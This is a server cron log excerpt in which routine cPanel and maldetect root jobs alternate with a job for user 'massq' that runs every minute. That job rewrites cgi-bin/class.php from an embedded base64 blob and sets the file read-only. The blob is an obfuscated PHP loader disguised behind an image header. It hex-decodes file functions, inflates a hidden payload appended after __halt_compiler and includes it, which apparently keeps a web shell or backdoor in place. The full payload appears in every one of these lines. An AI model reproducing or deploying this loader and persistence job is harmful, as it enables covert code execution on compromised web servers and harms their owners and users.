Nov 14 08:29:01 server CROND[25745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:30:01 server CROND[26617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 08:30:01 server CROND[26618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:30:01 server CROND[26620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:30:01 server CROND[26621]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 14 08:30:01 server CROND[26623]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:31:01 server CROND[27634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:32:01 server CROND[28469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:33:01 server CROND[29321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:34:01 server CROND[30119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:35:01 server CROND[30966]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:35:01 server CROND[30971]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 08:35:01 server CROND[30972]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 08:35:01 server CROND[30975]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:35:01 server CROND[30973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:36:01 server CROND[32065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:37:01 server CROND[563]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:38:02 server CROND[1422]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:39:01 server CROND[2295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:39:01 server CROND[2296]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 08:40:01 server CROND[3011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:40:01 server CROND[3012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:40:01 server CROND[3013]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:40:01 server CROND[3014]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 08:41:01 server CROND[3931]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
